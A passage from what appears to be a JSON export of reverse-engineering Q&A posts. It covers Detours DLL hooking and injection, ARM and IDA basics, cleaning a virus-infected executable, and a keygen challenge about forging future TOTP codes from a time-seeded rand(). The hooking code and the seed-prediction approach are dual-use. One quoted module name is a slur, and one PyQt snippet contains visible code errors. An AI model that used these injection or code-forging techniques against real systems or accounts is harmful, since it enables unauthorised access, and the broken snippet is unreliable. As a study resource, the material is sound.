        "Body": "<p>I am trying to read the arguments sent to an external dll file \"FlashToolLib.dll\". My hook function is never triggered, I am guessing because I have the address wrong.  I have tried the address in both the dll, and the exe</p>\n\n<p><strong>FUNCTION:</strong></p>\n\n<pre><code> public FlashTool_Connect_BROM_ByName\n.text:5F866580 FlashTool_Connect_BROM_ByName proc near\n.text:5F866580\n.text:5F866580 var_B4          = dword ptr -0B4h\n.text:5F866580 var_B0          = dword ptr -0B0h\n.text:5F866580 var_AC          = dword ptr -0ACh\n.text:5F866580 var_A8          = dword ptr -0A8h\n.text:5F866580 var_A4          = dword ptr -0A4h\n.text:5F866580 var_A0          = dword ptr -0A0h\n.text:5F866580 var_9C          = dword ptr -9Ch\n.text:5F866580 var_98          = dword ptr -98h\n.text:5F866580 var_94          = dword ptr -94h\n.text:5F866580 var_84          = dword ptr -84h\n.text:5F866580 var_80          = dword ptr -80h\n.text:5F866580 var_7C          = dword ptr -7Ch\n.text:5F866580 var_78          = dword ptr -78h\n.text:5F866580 var_68          = dword ptr -68h\n.text:5F866580 var_64          = dword ptr -64h\n.text:5F866580 var_60          = dword ptr -60h\n.text:5F866580 var_5C          = dword ptr -5Ch\n.text:5F866580 var_4C          = dword ptr -4Ch\n.text:5F866580 var_48          = dword ptr -48h\n.text:5F866580 var_44          = dword ptr -44h\n.text:5F866580 var_40          = dword ptr -40h\n.text:5F866580 var_30          = dword ptr -30h\n.text:5F866580 var_2C          = dword ptr -2Ch\n.text:5F866580 var_28          = dword ptr -28h\n.text:5F866580 var_4           = dword ptr -4\n.text:5F866580 arg_0           = dword ptr  8\n.text:5F866580 arg_4           = dword ptr  0Ch\n.text:5F866580 arg_8           = dword ptr  10h\n.text:5F866580 arg_C           = dword ptr  14h\n.text:5F866580 arg_10          = dword ptr  18h\n</code></pre>\n\n<p><strong>MY C++ CODE:</strong></p>\n\n<pre><code>    #include \"stdafx.h\"\n#include &lt;iostream&gt;\n#include &lt;detours.h&gt;\n#include &lt;Windows.h&gt;\n\n\nvoid hookedFunc(DWORD arg1, DWORD arg2, DWORD arg3, DWORD arg4, DWORD arg5) {\n\n\n    //Msgbox - arg 1//////////////////////////////////////////////////////////////////////////////\n    WCHAR szTest[10]; // WCHAR is the same as wchar_t\n                      // swprintf_s is the same as sprintf_s for wide characters\n    swprintf_s(szTest, 10, L\"%d\", arg1); // use L\"\" prefix for wide chars\n    MessageBox(NULL, szTest, L\"TEST\", MB_OK); // a messageboy example again L as prefix\n    /////////////////////////////////////////////////////////////////////////////////////////////\n\n    std::cout &lt;&lt; \"original function: argument1 = \" &lt;&lt; arg1 &lt;&lt; std::endl; //print argument\n    std::cout &lt;&lt; \"original function: argument2 = \" &lt;&lt; arg2 &lt;&lt; std::endl; //print argument\n    std::cout &lt;&lt; \"original function: argument3 = \" &lt;&lt; arg3 &lt;&lt; std::endl; //print argument\n    std::cout &lt;&lt; \"original function: argument4 = \" &lt;&lt; arg4 &lt;&lt; std::endl; //print argument\n    std::cout &lt;&lt; \"original function: argument5 = \" &lt;&lt; arg5 &lt;&lt; std::endl; //print argument\n\n}\n\n\n\nBOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)\n{\n    HMODULE FlashToolLib = GetModuleHandleA(\"FlashToolLib.dll\");\n    LPVOID fConnect = (LPVOID)GetProcAddress(FlashToolLib, \"FlashTool_Connect_BROM_ByName\");\n\n\n    switch (dwReason)\n    {\n\n\n    case DLL_PROCESS_ATTACH:\n\n\n        MessageBox(NULL, L\"We are in.\", L\"Injection Success.\", MB_OK);\n        DetourTransactionBegin();\n        DetourAttach((PVOID*)fConnect,(PVOID)hookedFunc);\n        DetourTransactionCommit();\n\n    }\n    return TRUE;\n}\n</code></pre>\n",
        "Title": "Reverse Engineering Exported DLL Function",
        "Tags": "|c++|function-hooking|dll-injection|",
        "Answer": "<p>Searched the local drive for an unknown binary that uses a dll<br>\nfound <code>calc.exe from gnuwin32</code> it uses 2 dlls <code>calc2.dll</code> and <code>readline5.dll</code></p>\n\n<p>copied all 3 of them to a test directory </p>\n\n<pre><code>e:\\GNUWIN32\\bin&gt;cp -v calc.exe calc2.dll readline5.dll e:\\test\\detours\\.\n`calc.exe' -&gt; `e:\\\\test\\\\detours\\\\./calc.exe'\n`calc2.dll' -&gt; `e:\\\\test\\\\detours\\\\./calc2.dll'\n`readline5.dll' -&gt; `e:\\\\test\\\\detours\\\\./readline5.dll'\n</code></pre>\n\n<p>wrote a small idc script to dump an arbitrary function </p>\n\n<pre><code>e:\\test\\detours&gt;cat temp.idc\n#include &lt;idc.idc&gt;\nstatic main(void)\n{\n  auto fp;\n  fp = fopen(\"bla.lst\",\"w\");\n  GenerateFile(OFILE_LST,fp,MinEA(),MaxEA(),0x0);\n  fclose(fp);\n  Exit(2);\n}\n</code></pre>\n\n<p>executed idafree to make a lst file</p>\n\n<pre><code>idag.exe -B -Stemp.idc calc2.dll\n</code></pre>\n\n<p>found the RVA of an arbitrary Function</p>\n\n<pre><code>e:\\test\\detours&gt;grep -i imagebase bla.lst\n.text:68D41000 ; Imagebase   : 68D40000\n\ne:\\test\\detours&gt;grep -i export.*zcmp bla.lst\n.text:68DC1440 ; Exported entry 791. zcmp\n.text:68DC1E10 ; Exported entry 792. zcmpmod\n\ne:\\test\\detours&gt;set /a 0x68dc1440-0x68d40000\n529472\n</code></pre>\n\n<p>made a simple poc using the rva </p>\n\n<pre><code>//compiled and linked with enterprise wdk using\n//cl /LD /W4 /Ox /Zi /analyze /EHsc d2r.cpp /link /DEBUG /RELEASE %linklibs% /EXPORT:DFunc\n#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#include \"include\\detours.h\"\n#pragma comment (lib , \"lib\\\\detours.lib\")\ntypedef void (__cdecl *SomeFunction)(int,int,int,int,int,int);\nvoid  __cdecl DFunc(int i,int j,int k,int l,int m,int n);\nSomeFunction Func2Detour = (SomeFunction)((DWORD)GetModuleHandle(\"calc2.dll\") + 529472 );\nvoid  __cdecl DFunc(int i,int j,int k,int l,int m,int n) {\n  int x = 0;\n  printf(\"Arg %2d = 0x%08x\\t0x%08x\\n\" , x++,i,*(int*)i);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, j);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, k);\n  printf(\"Arg %2d = 0x%08x\\t0x%08x\\n\" , x++,l,*(int *)l);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, m);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, n);\n  Func2Detour(i,j,k,l,m,n);\n}\nINT APIENTRY DllMain(HMODULE,DWORD Reason,LPVOID) {\n  if (Reason == DLL_PROCESS_ATTACH ){\n    DetourTransactionBegin();\n    DetourUpdateThread(GetCurrentThread());\n    DetourAttach(&amp;(PVOID&amp;)Func2Detour, DFunc);\n    DetourTransactionCommit();\n  }\n  return TRUE;\n}\n</code></pre>\n\n<p>compiled and linked as commented in source above </p>\n\n<pre><code>Microsoft (R) C/C++ Optimizing Compiler Version 19.00.23506 for x86\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\nd2r.cpp\nMicrosoft (R) Incremental Linker Version 14.00.23506.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n/out:d2r.dll\n/dll\n/implib:d2r.lib\n/debug\n/DEBUG\n/RELEASE\nuser32.lib\nkernel32.lib\ndbghelp.lib\n/EXPORT:DFunc\nd2r.obj\n   Creating library d2r.lib and object d2r.exp\n</code></pre>\n\n<p>injected the dll with <strong>withdll.exe</strong> from detours sample </p>\n\n<pre><code>e:\\test\\detours&gt;e:\\detour\\bin.X86\\withdll.exe /d:d2r.dll .\\calc.exe\nwithdll.exe: Starting: `.\\calc.exe'\nwithdll.exe:   with `e:\\test\\detours\\d2r.dll'\nC-style arbitrary precision calculator (version 2.11.10.1)\nCalc is open software. For license details type:  help copyright\n[Type \"exit\" to exit, or \"help\" for help.]\n\n;\n</code></pre>\n\n<p>the detour dumps all the six arguments </p>\n\n<pre><code>; 2+2\nArg  0 = 0x0134b750     0x00000002\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x68de11f4     0x00000002\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        4\n; 45^89\n        1367457148855142104017389933103900519105\n058455901337287730364197964327832579556343262083\n; 4^8\nArg  0 = 0x0134b7f8     0x00000004\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x68de11fc     0x00000004\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        65536\n; 4.5^8\nArg  0 = 0x0134b828     0x0000002d\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x0134dab8     0x0000000a\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        168151.25390625\n; 3&amp;5\nArg  0 = 0x0134b828     0x00000003\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x68de11f8     0x00000003\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        1\n</code></pre>\n"
    },
    {
        "Id": "13718",
        "CreationDate": "2016-10-14T10:50:13.283",
        "Body": "<p>I noticed a strange instruction pattern. First the value of PC is moved into LR and then a register value is moved into PC.</p>\n\n<p>Here some examples:</p>\n\n<pre><code>.text:00001488                 MOV             LR, PC\n.text:0000148C                 MOV             PC, R2\n ...\n.text:000304E8                 MOVNE           LR, PC\n.text:000304EC                 MOVNE           PC, R3\n</code></pre>\n\n<p>If this pattern corresponds to a call instruction, wouldn't this result in an endless loop? If this does not correspond to a call, what is this ?</p>\n",
        "Title": "ARM assembly: Strange instruction pattern (endless loop?)",
        "Tags": "|disassembly|assembly|arm|",
        "Answer": "<p>This was actually the correct way to perform indirect calls in ARM before the introduction of the <code>BLX</code> instruction (ARMv5 IIRC). ARM(32-bit version) is special in that the value of PC is pointing two instructions ahead when you read it (so +8 in ARM mode and +4 in Thumb mode). So, taking your example:</p>\n\n<pre><code>.text:00001488                 MOV             LR, PC\n</code></pre>\n\n<p>here, the <code>PC</code> value will be 1488+8 = 1490, so <code>LR=0x1490</code></p>\n\n<pre><code>.text:0000148C                 MOV             PC, R2\n</code></pre>\n\n<p>here, the <code>PC</code> will be set to the value in <code>R2</code> and the processor will start fetching instructions from that address. Most likely it will be a function which ends with a return instruction - <code>MOV PC, LR</code> (IDA shows it as <code>RET</code>), so the execution will resume at the value of <code>LR</code>\uff080x1490) which happens to be just after the original <code>MOV PC, R2</code> instruction (0148C+4=0x1490), so in effect that sequence of instruction is equivalent to <code>BLX R2</code> in the newer processors.</p>\n"
    },
    {
        "Id": "13727",
        "CreationDate": "2016-10-15T20:17:38.697",
        "Body": "<p>I can see in the windbg disassembly the handle to the process heap on, allocated by the Windows (WINDOWS 10) for my process:</p>\n\n<pre><code>0:000&gt; dt nt!_PEB 0106c000\nntdll!_PEB\n   +0x000 InheritedAddressSpace : 0 ''\n   +0x001 ReadImageFileExecOptions : 0 ''\n   +0x002 BeingDebugged    : 0x1 ''\n   +0x003 BitField         : 0x4 ''\n   +0x003 ImageUsesLargePages : 0y0\n   +0x003 IsProtectedProcess : 0y0\n   +0x003 IsImageDynamicallyRelocated : 0y1\n   +0x003 SkipPatchingUser32Forwarders : 0y0\n   +0x003 IsPackagedProcess : 0y0\n   +0x003 IsAppContainer   : 0y0\n   +0x003 IsProtectedProcessLight : 0y0\n   +0x003 IsLongPathAwareProcess : 0y0\n   +0x004 Mutant           : 0xffffffff Void\n   +0x008 ImageBaseAddress : 0x00840000 Void\n   +0x00c Ldr              : 0x77a4ebe0 _PEB_LDR_DATA\n   +0x010 ProcessParameters : 0x03b885e0 _RTL_USER_PROCESS_PARAMETERS\n   +0x014 SubSystemData    : (null) \n   +0x018 ProcessHeap      : 0x03b70000 Void\n</code></pre>\n\n<p>Now i want to examine the heap header, and apply the <code>dt !_HEAP</code> to the <strong>ProcessHeap      : 0x03b70000</strong>, but i can see that i get totaly invalid data in result. <code>!heap -s</code> gives me totally different results for the heap, </p>\n\n<pre><code>LFH Key                   : 0xd5ec6951\nTermination on corruption : ENABLED\n  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast \n                    (k)     (k)    (k)     (k) length      blocks cont. heap \n-----------------------------------------------------------------------------\n05e90000 00000002    1020      4   1020      2     1     1    0      0      \n00ff0000 00001002      60      4     60      2     1     1    0      0     \n</code></pre>\n\n<p>I understand, that the address where the heap header starts must be calculated  from this handle, <strong>ProcessHeap      : 0x03b70000 Void</strong> but i don't understand how it is calculated. its not a va, because 00840000 + 03b70000 != 05e90000 , so how to get from the heap handle, to the actual address of _HEAP structure header?</p>\n",
        "Title": "Heap address Calculation",
        "Tags": "|windows|memory|process|address|heap|",
        "Answer": "<p>The problem was due to the Page Heap verification, enabled by <code>Gflags</code>. I forgot about that, and the heap verifier was messing with the heap handles. When i disabled it, the handle at the PEB became valid.</p>\n"
    },
    {
        "Id": "13728",
        "CreationDate": "2016-10-16T00:27:37.013",
        "Body": "<p>I'm trying to restore a file that was infected by a virus (gaelicum or tenga)</p>\n\n<p>It's an appending virus.</p>\n\n<p>This is the warning I get when opening it in OllyDbg</p>\n\n<pre><code>: ---------------------------\nEntry Point Alert\n---------------------------\nModule 'SUPER_GAY_NIGGERS' has entry point outside the code (as specified in the PE header). Maybe this file is self-extracting or self-modifying. Please keep it in mind when setting breakpoints!\n---------------------------\nOK   \n---------------------------\n</code></pre>\n\n<p>My questions are:</p>\n\n<ol>\n<li>How can I figure out what was the original Entry Point?</li>\n<li>How can I restore the original entry point once I recover it?</li>\n</ol>\n",
        "Title": "Restoring an Infected appending virus EXE file by",
        "Tags": "|ollydbg|pe|malware|entry-point|",
        "Answer": "<p>It is important to do the entire process inside a virtual machine to avoid any additional file infections and/or suffer the malicious effects of the virus.</p>\n\n<h1>Finding the original entry point</h1>\n\n<p>This is not a trivial task, since once the PE's entry point changes it is no longer recorded anywhere in the PR header. The only way to find the original entry point is through debugging the PE's execution throughout the malicious code added, until the additional code reaches to the original entry point.</p>\n\n<p>Doing that depends heavily on how complex and protected the malicious code is. A simple approach (that might work) could be using a debugger such as <a href=\"http://www.ollydbg.de/version2.html\" rel=\"nofollow\">ollydbg</a> to run the code until it reached the original code's memory region (this can be done by opening the memory window and pressing <kbd>f12</kbd> after selecting the relevant memory regions).</p>\n\n<p>If the malicious code implements any anti-debugging protections you might need to bypass those. </p>\n\n<h1>Changing the entry point back</h1>\n\n<p>If you've used ollydbg in the previous part, you could use PE dump plugin (<a href=\"https://low-priority.appspot.com/ollydumpex/\" rel=\"nofollow\">OllyDumpEx</a> for example) to dump the PE with the entry point by using the plugin when EIP points to that entry point.</p>\n\n<p>Alternatively, you can use any PE editing tool (like <a href=\"http://www.heaventools.com/overview.htm\" rel=\"nofollow\">PEExplorer</a>, <a href=\"http://www.woodmann.com/collaborative/tools/index.php/LordPE\" rel=\"nofollow\">LordPE</a> or <a href=\"http://www.ntcore.com/exsuite.php\" rel=\"nofollow\">CFFExplorer</a>) or advanced hex editor (My personal preference is <a href=\"http://www.sweetscape.com/010editor/\" rel=\"nofollow\">010Editor</a>) to edit the Entry Point field in the PE header directly.</p>\n\n<h1>Removing residues</h1>\n\n<p>Although the malicious code should no longer run it is still inside your file. As an optional third step, you might want to remove the file infector's residue. According to the error message, it seems the file infector added it's own section, so by using a PE editor you could remove that new section in order to remove at least most of the virus's residues in your file.</p>\n"
    },
    {
        "Id": "13729",
        "CreationDate": "2016-10-16T04:23:10.633",
        "Body": "<p>I came across the following instruction in IDA:</p>\n\n<pre><code>movsx edx, byte_407030[ecx]\n</code></pre>\n\n<p><code>byte_407030</code> is <code>25h</code>. Is it trying to access some memory location? I know that <code>ecx</code> is storing a counter in a for loop.</p>\n",
        "Title": "What does byte_407030[ecx] mean?",
        "Tags": "|ida|assembly|",
        "Answer": "<p>Lets go step by step:</p>\n\n<pre><code>movsx\n</code></pre>\n\n<p>This is a specialized move instruction it moves a value from source of a smaller size (in your case, a byte) to a destination of a potentially larger size (in your case, a double word), preserving the sign bit by an operation called <a href=\"https://en.wikipedia.org/wiki/Sign_extension\" rel=\"nofollow\">sign-extending</a>.</p>\n\n<p>This means that if the byte was a negative integer then the destination will also be a negative integer. This is a bit more complex then simply copying the last bit because of the way negative integers are encoded (which is called <a href=\"https://en.wikipedia.org/wiki/Two%27s_complement\" rel=\"nofollow\">two's complement</a>). </p>\n\n<pre><code>edx \n</code></pre>\n\n<p>The first operand of a <code>mov</code> instruction is the destination target. In this case it's the double-word register <code>edx</code>. This is were the data is moved to.</p>\n\n<pre><code>byte_407030[ecx]\n</code></pre>\n\n<p>The second operand is the source operand. This is where the data is moved from. Please note that although the instruction is <code>mov</code>, the value also remains in the source location. Calling it \"copy\" might have been a better idea ;).</p>\n\n<p>IDA's syntax here is similar to C's syntax. This will dereference the memory region at address <code>0x407030</code> plus the value of <code>ecx</code> and fetch a byte from there. In case <code>ecx</code> is <code>11h</code>, the final address would be <code>0x407041</code>.</p>\n\n<p><strong>summary</strong>\n<br>This instruction will take the byte value at memory address of <code>0x407030+ecx</code>, sign extend it to dword (4 bytes in most architectures) and assign that final value into register <code>edx</code></p>\n"
    },
    {
        "Id": "13737",
        "CreationDate": "2016-10-16T17:19:29.720",
        "Body": "<p>I try to use IDA dissembler and I don't really understand the following text paragraphs appearing at the head of functions:</p>\n\n<pre><code>arg_0 = dword ptr 4\n</code></pre>\n\n<p>Can anyone explain their meaning?</p>\n",
        "Title": "What does arg_0 = dword ptr 4 mean?",
        "Tags": "|ida|x86|",
        "Answer": "<p>That's not a command, and not really part of the assembly language.\nIDA uses those markers to ease the reading of assembly instructions relating to the stack.</p>\n\n<p>Once IDA detects an offset would point into the function's stack as either an internal variable or an argument, it'll assign a name to the specific stack offsets each parameter and/or argument points to from the base of the stack.</p>\n\n<p>It then calculates all offsets to the same position regardless of stack growth/shrinking and will use the stack offset names where-ever they're possible.</p>\n\n<p>The syntax is the following:</p>\n\n<pre><code>&lt;argument/variable name&gt; = &lt;size&gt; ptr &lt;offset from stack base&gt;\n</code></pre>\n\n<p>So in your example, IDA identified the first argument to the function and named it <code>arg_0</code> (you can change the name by pressing <kbd>n</kbd> when your cursor is on it). The argument is a dword and the function's base stack offset is 4.</p>\n\n<p>Because the offset is positive IDA identified the stack address as an argument. Negative offsets will be recognized as variables and will have the <code>var_</code> prefix instead.</p>\n"
    },
    {
        "Id": "13741",
        "CreationDate": "2016-10-16T21:53:15.920",
        "Body": "<p>I have created a plugin/idascript (<a href=\"https://github.com/tintinweb/ida-batch_decompile\" rel=\"nofollow\">ida-batch_decompile</a>) that aims to make it easier to decompile a target including images referenced as imports or any other decompilable files in the targets project dir. Optionally it also adds some helpful annotations to the pseudocode. In order to make this as convenient as possible I've added a Dialog that helps in enumerating target files and allows to select files for decompiliation from within ida pro. For the selection I'm using a variant of the <code>Choose2</code> control that I borrowed from <a href=\"https://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_askusingform.py\" rel=\"nofollow\">EiNSTeiN</a>.</p>\n\n<p>What I'd like to have is a way to dynamically add items (e.g. on button click) to an already displayed <code>Choose2</code> list control. For some reason, this does not work, newly added items are not displayed unless I manually  <code>right-click/refresh</code> on that listview control. I tried calling <code>Chooser2.Refresh(), Form.Refresh()</code> without any luck. The only workaround that kind of works is to close the form, add items to the listview and re-exec that form in order for it to show up. <a href=\"https://github.com/tintinweb/ida-batch_decompile/blob/master/ida_batch_decompile.py#L548\" rel=\"nofollow\">This</a> is kind of ugly (see gif <a href=\"https://github.com/tintinweb/ida-batch_decompile\" rel=\"nofollow\">1</a>).</p>\n\n<pre><code>def OnButtonLoad(self, code=0):\n    # superdirty close, propagate, execute hack, otherwise listview would not be updated\n    self.Close(0)\n    # add items to listview\n    self.propagateItems(enumerate_other=True, enumerate_imports=True)\n    self.Execute()\n</code></pre>\n\n<p><strong>--?--</strong> What is the correct way to add items to an already existing <code>Choose2</code> listcontrol and have it refresh without having to <code>Close(); Execute()</code> the whole form?</p>\n\n<p>I was searching for something like</p>\n\n<pre><code>Chooser.items.add(newItem)\nChooser.Refresh()\n</code></pre>\n\n<p>but that does not seem to refresh the listview control.</p>\n",
        "Title": "idaypthon - how to refresh Choose2 listcontrol once it has been displayed?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Unfortunately IDA's builtin controllers are rather simple and do not support the full flexibility of the QT controls you're based on.</p>\n\n<p>Luckily for you, IDA exposed most of the QT API directly, and plugin developers are not able to interface with QT directly. In the past this wasn't possible, and we were bound to the <code>Choose2</code>, <code>Ask*</code> functions.\nI will not recommend anyone developing anything more than the simplest of plugins to use the provided IDA dialogs anymore. Instead, you should interface with QT directly for most of your UI development.</p>\n\n<p>Although using QT is a bit more complex (you'll might need to deal with QT' signals and slots) it also enables a lot of flexibility.</p>\n\n<p>Following is a short snippet that will let you update a list view. Every time the \"add item\" button is clicked, a new item will appear in the list.</p>\n\n<pre><code>form PyQt5 import QtWidgets\n\nclass ListViewDemoDialog(QtWidgets.QDialog):\n    def __init__(self):\n        super(ListViewDemoDialog, self).__init__(**kwargs)\n\n        # create a layout to place controllers (called widgets) on\n        layout = QtWidgets.QVBoxLayout())\n\n        # create an empty list\n        self.list = QtWidgets.QListWidget()\n\n        # create a button and connect it's \"clicked\" signal to our \"add_item\" slot\n        self.addbtn = QtWidgets.QPushButton(\"Add item\")\n        self.addbtn.clicked.connect(self.add_item)\n\n        layout.addWidget(self.addbtn)\n        layout.addWidget(self.list)\n\n        # make our created layout the dialogs layout\n        self.setLayout(layout)\n\n     def add_item(self):\n         self.list.addItem(\"This is an item\")\n</code></pre>\n"
    },
    {
        "Id": "13744",
        "CreationDate": "2016-10-17T20:09:12.687",
        "Body": "<p>Lately I've been inspecting a key generator program in IDA Pro. I believe the thread <a href=\"https://security.stackexchange.com/questions/136557/random-key-generated-every-second-how-can-i-tell-how-it-is-created\">here</a> discusses a similar key generator. Therefore, it may be referred to for certain details. The key generator takes a device serial number as input and generates a 32 byte (character) master key along with a <a href=\"https://github.com/google/google-authenticator/wiki/Key-Uri-Format\" rel=\"nofollow noreferrer\">OTPAUTH URI</a> of the form in the link aforementioned.</p>\n\n<ul>\n<li>The master key is only a function of the current time (in seconds from epoch). Therefore changes every second regardless of different serial numbers.</li>\n</ul>\n\n<p>Since the key changes every second, so does the OTPAUTH URI. I wonder how is the server supposed to verify a TOTP once a client enters it under this situation?</p>\n\n<p><strong>Edit:</strong>\nSo now there are some new questions:</p>\n\n<ul>\n<li>How do I authenticate to a server with this keygen knowing that the keygen is using <code>srand(time(NULL))</code> for the seed while calling <code>rand()</code> 8 consecutive times to generate a 32-byte random sequence.</li>\n<li>Is it logical to say the time step for the OTP codes is still 30 seconds while we know that the key and consequently secret are changing every second? Does this translate to the fact that the OTP validity is 1 seconds now?</li>\n</ul>\n\n<p><strong>Vulnerability:</strong> Isn't the server susceptible to creating TOTPs of the future and saving them in a repository by an adversary? While I'm writing this section 1476946414 seconds have passed since epoch. Assume creating a TOTP for the time equivalent to 1476947000 seconds passed from epoch. The keygen may be modified such that 1476947000 is passed to <code>srand()</code> instead of <code>time(NULL)</code>. Presumably there will also be enough time to derive the TOTP from the OTPAUTH URI.</p>\n\n<p><strong>Patching using IDA Pro 6.8:</strong></p>\n\n<p>So I thought its better to continue in a hands on fashion. Scrolling through the disassembly, I changed the call to <code>time(NULL)</code> to a <em>mov</em> instruction, assigning my favorite time to <em>eax</em>. In order to check my patch I ran the original keygen on the favorite time. The results were equivalent. Three things still bother me:</p>\n\n<ol>\n<li>May the validation process the server carries out be concealed in the keygen or the keygen is what its only expected to be, a keygen?!</li>\n<li>The disassembly has a bunch of strings resembling openssl subroutines I presume. For instance <em>digest.c</em>, <em>pmeth_gn.c</em>, <em>pmeth_lib.c</em>, etc. The codes are available on the web. However, I found no lucid documentation for a layman. I suspect if the server's validation parameters are defined here. I've also been able to detect SHA256 and SHA512 cryptographic constants in the disassembly using <em>findcrypt2</em>.</li>\n<li>I've been cautioned that the keys are generated using Linux. What effect may this have? I'm still on the Windows track!</li>\n</ol>\n\n<p><strong>Switching to Linux:</strong></p>\n\n<ol start=\"4\">\n<li><p>So I installed Ubuntu 16.04 and ran the patched linux binary keygen. The key file and the secret were completely different from the ones generated by Windows for the same time. Before reaching the specified time, I created the HMAC and derived the TOTP codes for that specific time and entered them exactly on the specific time. However, I was not able to authenticate. It may seem that the server is not expecting TOTPs for the current time. I have no idea TOTPs for what time should I feed to the server!</p></li>\n<li><p>While <em>findcrypt2</em> did not find any sign of AES in Windows keygen binary, it did notice multiple <em>Rijndael</em> 's in the Linux keygen binary (just adding as additional info).</p></li>\n<li><p>I have been able to receive the server binary. I think the authentication procedure must be outlined there. But where should I look?</p></li>\n</ol>\n\n<p><strong>Here is the Final Problem:</strong>\nThe key generator program is used to produce device specific keys. There is a weakness in how these keys are generated which should be exploited to generate valid one-time codes for any device.</p>\n\n<ol start=\"7\">\n<li><p>The serial number may be any 9-digit number. I personally have been working with 381151134.</p></li>\n<li><p>Usage: <strong>keygen [-g OR -m master_key_file] -k serial -o master_output_file</strong></p></li>\n<li><p>To download the keygen Linux binary click <a href=\"https://www.dropbox.com/s/b1m5k6gqdt3alu6/keygen?dl=0\" rel=\"nofollow noreferrer\">here</a>. The Windows binary is found <a href=\"https://www.dropbox.com/s/gphy562usvbvxk1/keygen.exe?dl=0\" rel=\"nofollow noreferrer\">here</a>.</p></li>\n</ol>\n",
        "Title": "Why does TOTP secret change every second?",
        "Tags": "|ida|disassembly|",
        "Answer": "<blockquote>\n  <p>Since the key changes every second, so does the OTPAUTH URI. I wonder how is the server supposed to verify a TOTP once a client enters it under this situation?</p>\n</blockquote>\n\n<p>The server <em>must</em> be aware of previously generated keys to provide usability. Either by generating previous keys on the fly (I can imagine an algorithm that tries <code>t-0</code> and if that fails <code>t-1</code> and if that fails <code>t-2</code> for a predefined range to allow users to input a value some time after moving to the next.</p>\n\n<p>Otherwise the entire generate-insert-send-validate process is limited to a short window. Accepting more than one valid key at a time is acceptable because the range remains short, values are still hard to predict, brute-forcing remains impossible (this can be further mitigated by limiting the accepted key's range after several incorrect attempts). </p>\n\n<blockquote>\n  <p>How do I authenticate to a server with this keygen knowing that the keygen is using srand(time(NULL)) for the seed while calling rand() 8 consecutive times to generate a 32-byte random sequence.</p>\n</blockquote>\n\n<p>Without reverse engineering the entire key generation algorithm and actual generation process it is impossible to know. You'll need to reverse engineer the function calling <code>rand()</code> and build a simulator for the key generation process.</p>\n\n<p>If what you described is the entire process, You're left with figuring out how are those <code>rand()</code> values are joined together (are they concatenated? xored to each other? How is the final value encoded?)</p>\n\n<p><em>EDIT: Answer additional question presented under 'Vulnerability'</em></p>\n\n<blockquote>\n  <p>Isn't the server susceptible to creating TOTPs of the future and saving them in a repository by an adversary?</p>\n</blockquote>\n\n<p>It is, but as I mentioned in this answer in response to you're first question that does not necessarily happens. The validation code can generate the TOTP keys it considered reasonable/potential every time it needs to execute a validation.</p>\n\n<p>Additionally, this requires an adversary to hack gain access to that secure storage however if an adversary gained access to that secure storage to steal the TOTP keys, he might as well steal the master key used to generate those keys and gain the ability to generate TOTP keys as he wishes. For this reason storing the keys in the same place the master key is stored does not increase risk.</p>\n\n<p>Obviously, the server has the ability to generate keys in order to validate them, and must be made sure to be trustworthy for the mechanism to function securely. This is a common requirement for most cryptographic protocols that certain points are to be trusted. After all, in order for the server to validate the user, it is reasonable to assume the server is protected.</p>\n\n<p>One could consider some kind of <a href=\"https://en.wikipedia.org/wiki/Public-key_cryptography\" rel=\"nofollow\">asymmetric key</a> protocol instead of a symmetric key. However since this protocol is designed to validate a user by the server, it becomes moot whenever the server becomes untrusted.</p>\n\n<p>If an adversary hacks into a server to generate future keys, once this is detected replacing the master key (and all future TOTP keys accordingly) is a requirement.</p>\n\n<blockquote>\n  <p>May the validation process the server carries out be concealed in the keygen or the keygen is what its only expected to be, a keygen?!</p>\n</blockquote>\n\n<p>The keygen and the server carry out the same basic process. Once as a way to provide proof of knowledge (the keygen), and one to verify it (server).</p>\n\n<p>The keygen is able to execute perform validations and the server is able to crete proofs, but that shouldn't happen (although it might, and that can ge risky and expose the protocol to vulnerabilities). </p>\n\n<blockquote>\n  <p>The disassembly has a bunch of strings resembling openssl subroutines I presume. For instance digest.c, pmeth_gn.c, pmeth_lib.c, etc. The codes are available on the web. However, I found no lucid documentation for a layman. I suspect if the server's validation parameters are defined here. I've also been able to detect SHA256 and SHA512 cryptographic constants in the disassembly using findcrypt2.</p>\n</blockquote>\n\n<p>I'm not really sure what's the question here. I don't think any SSH functionality is directly related to the key generation, but I might be wrong.</p>\n\n<blockquote>\n  <p>I've been cautioned that the keys are generated using Linux. What effect may this have? I'm still on the Windows track!</p>\n</blockquote>\n\n<p>Windows and Linux implement <code>srand</code> and <code>rand</code> differently. Specifically, they're using different constants or a different number of iterations and combinations between iterations. The basic block for common rand functions is this:</p>\n\n<pre><code>int myrand(void) {\n    next = next * 1103515245 + 12345;\n    return((unsigned)(next/65536) % 32768);\n}\n</code></pre>\n\n<p>Where 1103515245 and 12345 are two constant values that often change between implementations.</p>\n\n<p><a href=\"https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=stdlib/rand_r.c;hb=HEAD\" rel=\"nofollow\">This</a> is glibc's version. You can see it's more complicated. Reverse engineering the specific implementation is probably the safest way. </p>\n"
    },
    {
        "Id": "13750",
        "CreationDate": "2016-10-18T11:53:53.167",
